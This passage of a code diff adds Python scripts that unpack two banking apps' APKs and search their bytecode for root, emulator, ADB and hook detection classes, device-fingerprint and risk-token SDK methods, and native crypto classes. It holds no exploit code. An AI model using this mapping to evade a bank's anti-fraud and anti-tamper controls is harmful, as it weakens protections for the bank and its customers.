for name in zf.namelist():
|
||||
if "libshpssdk" in name and name.endswith(".so"):
|
||||
path = OUT / Path(name).name
|
||||
path.write_bytes(zf.read(name))
|
||||
print("extracted", path, path.stat().st_size)
|
||||
20
reverse/scripts/find_blocked_msg.py
Normal file
20
reverse/scripts/find_blocked_msg.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import json
|
||||
import glob
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
root = str(Path(__file__).resolve().parent.parent / "extracted" / "apk_extract")
|
||||
needle = "this service has been temporarily blocked"
|
||||
for fp in glob.glob(os.path.join(root, "**", "en.json"), recursive=True):
|
||||
try:
|
||||
with open(fp, encoding="utf-8") as f:
|
||||
d = json.load(f)
|
||||
if not isinstance(d, dict):
|
||||
continue
|
||||
for k, v in d.items():
|
||||
if isinstance(v, str) and needle in v.lower():
|
||||
print(fp)
|
||||
print(k, "->", v)
|
||||
except Exception:
|
||||
pass
|
||||
22
reverse/scripts/find_character_crypto.py
Normal file
22
reverse/scripts/find_character_crypto.py
Normal file
@@ -0,0 +1,22 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for m in re.finditer(rb"Lcom/[^;]{0,160}CharacterCrypto[^;]{0,40};", d):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
|
||||
for m in re.finditer(rb"Lcom/[^;]{0,160}NativeEncrypt[^;]{0,40};", d):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
|
||||
# find class with getDfpByMMKV - search all Lcom paths and check if followed by getDfp in same method table is hard
|
||||
# instead search for MMKV + dfp strings proximity
|
||||
idx = d.find(b"getDfpByMMKV:")
|
||||
if idx >= 0:
|
||||
chunk = d[max(0, idx - 500) : idx + 500]
|
||||
for m in re.finditer(rb"Lcom/[^;\x00]{5,200};", chunk):
|
||||
print("near getDfpByMMKV:", m.group().decode()[1:-1].replace("/", "."))
|
||||
20
reverse/scripts/find_character_crypto2.py
Normal file
20
reverse/scripts/find_character_crypto2.py
Normal file
@@ -0,0 +1,20 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for m in re.finditer(rb"CharacterCrypto[\w$]{0,40}", d):
|
||||
print(m.group().decode())
|
||||
|
||||
for m in re.finditer(rb"getDfp[\w$]{0,20}", d):
|
||||
s = m.group().decode()
|
||||
if s not in ("getDfp",):
|
||||
print("method:", s)
|
||||
|
||||
# utils.d wrapper
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/lib/jni/utils/[\w$]{1,20};", d):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
18
reverse/scripts/find_crypto_classes.py
Normal file
18
reverse/scripts/find_crypto_classes.py
Normal file
@@ -0,0 +1,18 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex_name in zf.namelist():
|
||||
if not dex_name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(dex_name)
|
||||
if b"CharacterCrypto" not in data and b"SoUtils" not in data:
|
||||
continue
|
||||
print("===", dex_name, "===")
|
||||
for m in re.finditer(rb"L[^;]{0,120};", data):
|
||||
s = m.group().decode("latin1", errors="replace")
|
||||
if "CharacterCrypto" in s or "SoUtils" in s or "SecurityMain" in s:
|
||||
print(s[1:-1].replace("/", "."))
|
||||
21
reverse/scripts/find_crypto_manager_class.py
Normal file
21
reverse/scripts/find_crypto_manager_class.py
Normal file
@@ -0,0 +1,21 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for needle in [b"CharacterCryptoManager", b"CharacterCryptoManagerWrapper", b"NativeEncryptUtilsWrapper"]:
|
||||
print("\n===", needle.decode(), "===")
|
||||
for m in re.finditer(re.escape(needle) + rb"[\w$]{0,30}", d):
|
||||
name = m.group().decode()
|
||||
if "$" in name or name.endswith("Wrapper") or name.endswith("Manager"):
|
||||
pass
|
||||
for m in re.finditer(rb"Lcom/[^;]{0,200}" + re.escape(needle) + rb"[^;]{0,20};", d):
|
||||
print(m.group().decode()[1:-1].replace("/", "."))
|
||||
|
||||
# also search for class ending with .d
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/lib/jni/utils/[a-z];", d):
|
||||
print("short utils:", m.group().decode()[1:-1].replace("/", "."))
|
||||
22
reverse/scripts/find_detection_classes.py
Normal file
22
reverse/scripts/find_detection_classes.py
Normal file
@@ -0,0 +1,22 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
found = set()
|
||||
for m in re.finditer(rb"L[a-zA-Z0-9_$/]+;", data):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
low = s.lower()
|
||||
if any(k in low for k in ("rootdetect", "emulatordetect", "safemode", "risk", "integrity", "xposed", "hookdetect")):
|
||||
found.add(s)
|
||||
if "WBRoot" in s or "WBEmulator" in s:
|
||||
found.add(s)
|
||||
if found:
|
||||
print("=== %s ===" % name)
|
||||
for s in sorted(found):
|
||||
print(s)
|
||||
23
reverse/scripts/find_dfp_empty_class.py
Normal file
23
reverse/scripts/find_dfp_empty_class.py
Normal file
@@ -0,0 +1,23 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
needle = b"The dfp is empty in register scene"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
idx = data.find(needle)
|
||||
ctx = data[max(0, idx - 2000) : idx + 2000]
|
||||
classes = sorted(set(m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/[^;\x00]{5,200};", ctx)))
|
||||
print("classes near register dfp empty:")
|
||||
for c in classes:
|
||||
print(c)
|
||||
|
||||
print("\nstrings:")
|
||||
for m in re.finditer(rb"[\x20-\x7e]{6,100}", ctx):
|
||||
s = m.group().decode()
|
||||
if any(k in s.lower() for k in ("dfp", "register", "fingerprint", "empty", "scene", "monitor", "iv_")):
|
||||
print(s)
|
||||
27
reverse/scripts/find_getdfp.py
Normal file
27
reverse/scripts/find_getdfp.py
Normal file
@@ -0,0 +1,27 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for needle in [b"getDfp", b"DeviceFingerprintResp", b"deviceFingerprint", b"/dfp/", b"dfp/v1"]:
|
||||
print("\n===", needle.decode(), "===")
|
||||
for m in re.finditer(re.escape(needle) + rb"[\x00-\xff]{0,80}", data):
|
||||
chunk = data[m.start() : m.start() + 120]
|
||||
s = re.sub(rb"[^\x20-\x7e]+", b"|", chunk).decode("ascii", "ignore")
|
||||
print(s[:140])
|
||||
break
|
||||
|
||||
# classes with fingerprint in name
|
||||
fps = sorted(set(m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/[^;\x00]{0,120}[Ff]ingerprint[^;\x00]{0,40};", data)))
|
||||
print("\n=== fingerprint classes ===")
|
||||
for c in fps[:30]:
|
||||
print(c)
|
||||
|
||||
# RegisterViewModel methods - search string RegisterViewModel in dex
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/biz/user/viewmodel/RegisterViewModel[^;\x00]*;", data):
|
||||
print("\nRegisterViewModel:", m.group().decode())
|
||||
19
reverse/scripts/find_getdfp_by_mmkv_class.py
Normal file
19
reverse/scripts/find_getdfp_by_mmkv_class.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
d = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
idx = d.find(b"getDfpByMMKV")
|
||||
print("idx", idx)
|
||||
window = d[max(0, idx - 20000) : idx + 20000]
|
||||
classes = re.findall(rb"Lcom/[a-zA-Z0-9_$/]{5,200};", window)
|
||||
unique = sorted(set(x.decode()[1:-1].replace("/", ".") for x in classes))
|
||||
print("classes in 40k window:", len(unique))
|
||||
for c in unique:
|
||||
cl = c.lower()
|
||||
if any(k in cl for k in ("crypto", "dfp", "finger", "device", "user", "jni", "utils", "manager", "wrapper", "register", "login")):
|
||||
print(c)
|
||||
31
reverse/scripts/find_getdfp_class.py
Normal file
31
reverse/scripts/find_getdfp_class.py
Normal file
@@ -0,0 +1,31 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
needles = [b"getDfp empty!", b"getDfp onError:", b"getDfpByMMKV:", b"The dfp is empty in register scene"]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
all_classes = [m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/[\w$/]{5,160};", data)]
|
||||
|
||||
for needle in needles:
|
||||
print("\n===", needle.decode(), "===")
|
||||
idx = data.find(needle)
|
||||
if idx < 0:
|
||||
print("not found")
|
||||
continue
|
||||
window = data[max(0, idx - 8000) : idx + 8000]
|
||||
nearby = sorted(set(m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/[\w$/]{5,160};", window)))
|
||||
for c in nearby:
|
||||
if any(k in c.lower() for k in ("dfp", "finger", "device", "register", "user", "util", "manager", "helper", "repo", "data", "rn")):
|
||||
print(" ", c)
|
||||
|
||||
dfp_classes = sorted(set(c for c in all_classes if "dfp" in c.lower() or "fingerprint" in c.lower()))
|
||||
print("\n=== dfp/fingerprint class names ===")
|
||||
for c in dfp_classes:
|
||||
print(c)
|
||||
21
reverse/scripts/find_getdfp_class2.py
Normal file
21
reverse/scripts/find_getdfp_class2.py
Normal file
@@ -0,0 +1,21 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
needle = b"getDfp empty!"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
idx = data.find(needle)
|
||||
window = data[max(0, idx - 12000) : idx + 12000]
|
||||
classes = sorted(set(m.group().decode()[1:-1].replace("/", ".")
|
||||
for m in re.finditer(rb"Lcom/[^;\x00]{5,200};", window)))
|
||||
print("all classes near getDfp empty (filtered):")
|
||||
for c in classes:
|
||||
cl = c.lower()
|
||||
if any(k in cl for k in ("dfp", "finger", "shps", "bke", "jni", "utils", "sdk", "device", "monitor", "crypto", "register")):
|
||||
print(c)
|
||||
|
||||
print("\nall com classes count:", len(classes))
|
||||
10
reverse/scripts/find_global_auth_dex.py
Normal file
10
reverse/scripts/find_global_auth_dex.py
Normal file
@@ -0,0 +1,10 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needle = b"Lcom/shopee/bke/digitalbank/container/user/errorcodehandler/GlobalAuthErrorImpl;"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if name.endswith(".dex") and needle in zf.read(name):
|
||||
print("found in", name)
|
||||
16
reverse/scripts/find_iv_monitor.py
Normal file
16
reverse/scripts/find_iv_monitor.py
Normal file
@@ -0,0 +1,16 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needles = [b"IV_Monitor", b"register scene", b"dfp is empty", b"CharacterCrypto"]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for n in needles:
|
||||
print(n.decode(), data.count(n))
|
||||
idx = data.find(n)
|
||||
if idx >= 0:
|
||||
ctx = data[max(0, idx - 80): idx + 120]
|
||||
import re
|
||||
for m in re.finditer(rb"Lcom/[^;\x00]{5,120};", ctx):
|
||||
print(" class", m.group().decode()[1:-1].replace("/", "."))
|
||||
30
reverse/scripts/find_load_so_lib.py
Normal file
30
reverse/scripts/find_load_so_lib.py
Normal file
@@ -0,0 +1,30 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex_name in zf.namelist():
|
||||
if not dex_name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(dex_name)
|
||||
if b"loadSoLibrary" not in data:
|
||||
continue
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_loadso.dex"
|
||||
tmp.write_bytes(data)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
current_class = ""
|
||||
for line in out.splitlines():
|
||||
m = re.search(r"Class descriptor\s+:\s+'([^']+)'", line)
|
||||
if m:
|
||||
current_class = m.group(1)
|
||||
if "loadSoLibrary" not in line:
|
||||
continue
|
||||
cls = current_class.replace("L", "").replace(";", "").replace("/", ".")
|
||||
print(f"{dex_name}\t{cls}\t{line.strip()}")
|
||||
19
reverse/scripts/find_native_encrypt.py
Normal file
19
reverse/scripts/find_native_encrypt.py
Normal file
@@ -0,0 +1,19 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
for kw in [b"NativeEncrypt", b"CharacterCrypto", b"IV_Monitor", b"register scene", b"dfp is empty"]:
|
||||
print(kw.decode(), data.count(kw))
|
||||
print("\n--- bke.lib.jni crypto/security ---")
|
||||
seen = set()
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/lib/jni/[^;]{1,120};", data):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if s in seen:
|
||||
continue
|
||||
if any(x in s.lower() for x in ("crypto", "encrypt", "security", "native", "tee")):
|
||||
seen.add(s)
|
||||
print(s)
|
||||
37
reverse/scripts/find_native_encrypt_class.py
Normal file
37
reverse/scripts/find_native_encrypt_class.py
Normal file
@@ -0,0 +1,37 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
needle = b"NativeEncrypt"
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for dex_name in zf.namelist():
|
||||
if not dex_name.endswith(".dex"):
|
||||
continue
|
||||
dex = zf.read(dex_name)
|
||||
if needle not in dex:
|
||||
continue
|
||||
print("===", dex_name, "===")
|
||||
for m in re.finditer(rb"const-string[^/]*// string@[0-9a-f]+", dex):
|
||||
pass
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp_ne.dex"
|
||||
tmp.write_bytes(dex)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if "NativeEncrypt" in line:
|
||||
print(line.strip())
|
||||
if "Class descriptor" in line:
|
||||
current = line
|
||||
if "NativeEncrypt" in line:
|
||||
# print previous class context
|
||||
idx = out.splitlines().index(line)
|
||||
for prev in out.splitlines()[max(0, idx - 40) : idx + 5]:
|
||||
if "Class descriptor" in prev or "name :" in prev or "NATIVE" in prev:
|
||||
print(prev.strip())
|
||||
21
reverse/scripts/find_native_methods.py
Normal file
21
reverse/scripts/find_native_methods.py
Normal file
@@ -0,0 +1,21 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
split_apk = Path(__file__).resolve().parent.parent / "extracted" / "native" / "split_arm64.apk"
|
||||
base_apk = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
apk = base_apk if base_apk.exists() else None
|
||||
if apk is None:
|
||||
# use device base if needed - skip
|
||||
import sys
|
||||
print("no base apk")
|
||||
sys.exit(0)
|
||||
with zipfile.ZipFile(str(apk)) as zf:
|
||||
tmp = Path(__file__).resolve().parent.parent / "tmp" / "tmp11.dex"
|
||||
tmp.write_bytes(zf.read("classes11.dex"))
|
||||
out = subprocess.check_output([str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace")
|
||||
for line in out.splitlines():
|
||||
if "0x0101" in line or "NATIVE" in line:
|
||||
print(line.strip())
|
||||
28
reverse/scripts/find_sg_adb_classes.py
Normal file
28
reverse/scripts/find_sg_adb_classes.py
Normal file
@@ -0,0 +1,28 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
print("=== Adb / SafeMode related classes ===")
|
||||
for m in re.finditer(rb"L[\w$/]*(Adb|ADB|SafeMode|safemode|Recover)[\w$/]*;", data):
|
||||
c = m.group().decode()
|
||||
if "shopee" in c or "bke" in c or "maribank" in c.lower():
|
||||
print(c)
|
||||
|
||||
print("\n=== shpssdk bank ===")
|
||||
for m in re.finditer(rb"Lcom/shopee/shpssdk[\w$/]*;", data):
|
||||
print(m.group().decode())
|
||||
|
||||
print("\n=== api.seabank / maribank hosts ===")
|
||||
for m in re.finditer(rb"https?://[a-zA-Z0-9._/-]{8,80}", data):
|
||||
u = m.group().decode()
|
||||
if "maribank" in u or "seabank" in u:
|
||||
print(u)
|
||||
|
||||
print("\n=== login/register uapi ===")
|
||||
for m in re.finditer(rb"/uapi/[a-zA-Z0-9_/-]+", data):
|
||||
print(m.group().decode())
|
||||
39
reverse/scripts/find_sg_adb_strings.py
Normal file
39
reverse/scripts/find_sg_adb_strings.py
Normal file
@@ -0,0 +1,39 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
data = b"".join(zf.read(n) for n in zf.namelist() if n.endswith(".dex"))
|
||||
|
||||
for pat in [
|
||||
b"Does not support",
|
||||
b"Turn Off ADB",
|
||||
b"Wireless ADB",
|
||||
b"ADB/Wireless",
|
||||
b"support root",
|
||||
b"RISK_USB_ADB",
|
||||
b"RISK_WIFI_ADB",
|
||||
b"KEY_ALLOW_ADB",
|
||||
b"SafeModeRecover",
|
||||
b"sg.com.maribank",
|
||||
]:
|
||||
print(pat.decode(), "->", data.count(pat))
|
||||
|
||||
print("\n--- UI strings ---")
|
||||
for m in re.finditer(rb"[\x20-\x7e]{10,200}", data):
|
||||
s = m.group().decode("ascii", "ignore")
|
||||
sl = s.lower()
|
||||
if ("adb" in sl and ("detect" in sl or "turn" in sl or "wireless" in sl or "debug" in sl)) or "does not support root" in sl:
|
||||
print(s)
|
||||
|
||||
print("\n--- Application ---")
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/[\w$/]*Application[\w$/]*;", data):
|
||||
print(m.group().decode())
|
||||
|
||||
print("\n--- ADB risk classes ---")
|
||||
for m in re.finditer(rb"L[\w$/]*(adb|Adb|ADB)[\w$/]*;", data):
|
||||
c = m.group().decode()
|
||||
if "shopee" in c.lower() or "bke" in c.lower() or "shps" in c.lower():
|
||||
print(c)
|
||||
26
reverse/scripts/find_shps_sig.py
Normal file
26
reverse/scripts/find_shps_sig.py
Normal file
@@ -0,0 +1,26 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
needles = [
|
||||
b"getRiskTokenAsync",
|
||||
b"getRiskToken",
|
||||
b"getRiskSync",
|
||||
b"getRiskAsync",
|
||||
b"assessRisk",
|
||||
]
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
hits = [n.decode() for n in needles if n in data]
|
||||
if not hits:
|
||||
continue
|
||||
print(name, hits)
|
||||
for m in re.finditer(
|
||||
rb"Lcom/shopee/shpssdk(?:bank)?/SHPSSDK;\.(\w+):\([^)]+\)[^;]+;", data
|
||||
):
|
||||
print(" ", m.group().decode())
|
||||
17
reverse/scripts/find_unavailable_i18n.py
Normal file
17
reverse/scripts/find_unavailable_i18n.py
Normal file
@@ -0,0 +1,17 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith((".json", ".jsbundle")):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
if b"currently unavailable" not in data and b"system is currently" not in data:
|
||||
continue
|
||||
text = data.decode("utf-8", errors="replace")
|
||||
for m in re.finditer(r".{0,40}currently unavailable.{0,60}", text):
|
||||
print(f"\n[{name}]")
|
||||
print(m.group().replace("\n", " ")[:200])
|
||||
24
reverse/scripts/find_user_register_i18n.py
Normal file
24
reverse/scripts/find_user_register_i18n.py
Normal file
@@ -0,0 +1,24 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "maribank_sg_base.apk"
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in sorted(zf.namelist()):
|
||||
low = name.lower()
|
||||
if not name.endswith(".json"):
|
||||
continue
|
||||
if "user" not in low and "auth" not in low and "register" not in low and "ekyc" not in low:
|
||||
continue
|
||||
data = zf.read(name).decode("utf-8", errors="replace")
|
||||
hits = []
|
||||
for m in re.finditer(r'"[^"]+"\s*:\s*"[^"]{8,200}"', data):
|
||||
s = m.group()
|
||||
sl = s.lower()
|
||||
if any(k in sl for k in ("unavailable", "register", "dfp", "phone", "otp", "system is")):
|
||||
hits.append(s[:220])
|
||||
if hits:
|
||||
print("\n===", name, "===")
|
||||
for h in hits[:40]:
|
||||
print(h)
|
||||
17
reverse/scripts/find_wb_classes.py
Normal file
17
reverse/scripts/find_wb_classes.py
Normal file
@@ -0,0 +1,17 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
if b"WBRootDetectionModule" not in data:
|
||||
continue
|
||||
print("===", name, "===")
|
||||
for m in re.finditer(rb"Lcom/shopee/[a-zA-Z0-9_$/]+;", data):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if "Root" in s or "Detect" in s or "Emulator" in s or "Safe" in s or "Risk" in s or "WB" in s:
|
||||
print(s)
|
||||
22
reverse/scripts/find_wb_root.py
Normal file
22
reverse/scripts/find_wb_root.py
Normal file
@@ -0,0 +1,22 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\apks\seabank_ph_base.apk"
|
||||
needles = [b"WBRootDetectionModule", b"WBEmulatorDetectionModule", b"SPSAssessRisk", b"shpssdk"]
|
||||
with zipfile.ZipFile(APK) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
hits = [n.decode() for n in needles if n in data]
|
||||
if hits:
|
||||
print(name, hits)
|
||||
for m in re.finditer(rb"L[a-zA-Z0-9_$/]*WBRootDetectionModule;", data):
|
||||
print(" ", m.group().decode()[1:-1].replace("/", "."))
|
||||
for m in re.finditer(rb"L[a-zA-Z0-9_$/]*SPSAssessRisk[^;]*;", data):
|
||||
print(" ", m.group().decode()[1:-1].replace("/", "."))
|
||||
for m in re.finditer(rb"Lcom/shopee/shpssdk[a-zA-Z0-9_$/]+;", data):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if "shpssdk" in s.lower():
|
||||
print(" ", s)
|
||||
13
reverse/scripts/inspect_clash_cache.py
Normal file
13
reverse/scripts/inspect_clash_cache.py
Normal file
@@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
import sqlite3
|
||||
import sys
|
||||
|
||||
p = sys.argv[1] if len(sys.argv) > 1 else "clash_cache.db"
|
||||
con = sqlite3.connect(p)
|
||||
for (name,) in con.execute("SELECT name FROM sqlite_master WHERE type='table'"):
|
||||
print("TABLE", name)
|
||||
cols = [c[1] for c in con.execute(f"PRAGMA table_info({name})")]
|
||||
print(" cols", cols)
|
||||
for row in con.execute(f"SELECT * FROM {name} LIMIT 8"):
|
||||
s = str(row)
|
||||
print(" ", s[:300] + ("..." if len(s) > 300 else ""))
|
||||
16
reverse/scripts/list_methods_classes6.py
Normal file
16
reverse/scripts/list_methods_classes6.py
Normal file
@@ -0,0 +1,16 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
|
||||
data = open(r"C:\Users\Administrator\Desktop\notiMessage\reverse\extracted\classes6.dex", "rb").read()
|
||||
# method names in dex are plain utf8 strings
|
||||
methods = set(re.findall(rb"[a-zA-Z][a-zA-Z0-9_]{2,60}", data))
|
||||
interesting = sorted(
|
||||
m.decode("ascii", "ignore")
|
||||
for m in methods
|
||||
if any(k in m.lower() for k in (
|
||||
b"root", b"jail", b"safe", b"xposed", b"frida", b"emulator",
|
||||
b"integrity", b"detect", b"hook", b"debug", b"tamper", b"risk"
|
||||
))
|
||||
)
|
||||
for m in interesting:
|
||||
print(m)
|
||||
17
reverse/scripts/list_safemode.py
Normal file
17
reverse/scripts/list_safemode.py
Normal file
@@ -0,0 +1,17 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
|
||||
data = open(r"C:\Users\Administrator\Desktop\notiMessage\reverse\extracted\classes6.dex", "rb").read()
|
||||
classes = set()
|
||||
for m in re.finditer(rb"Lcom/shopee/bke/lib/safemode/[a-zA-Z0-9_$/]+;", data):
|
||||
s = m.group().decode()[1:-1].replace("/", ".")
|
||||
if "R$" in s:
|
||||
continue
|
||||
classes.add(s)
|
||||
